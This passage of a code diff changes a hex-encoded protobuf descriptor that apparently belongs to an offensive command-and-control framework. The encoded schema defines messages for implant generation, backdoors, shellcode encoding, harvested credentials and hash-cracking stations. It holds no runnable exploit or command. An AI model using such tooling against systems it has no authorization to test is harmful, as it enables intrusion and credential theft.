0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, + 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, + 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, + 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, + 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, + 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, + 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, + 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, + 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, + 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, + 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, + 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, + 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, + 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, + 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, + 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, + 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, + 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, + 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, + 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, + 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, + 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, + 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, - 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, - 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, - 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, - 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, - 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, - 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, - 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, - 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, - 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, - 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, - 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, - 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, - 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, - 0x55, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, - 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, - 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, - 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, - 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, - 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, - 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, - 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, - 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, - 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, - 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, - 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, - 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, - 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, - 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, - 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, - 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, - 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, - 0x28, 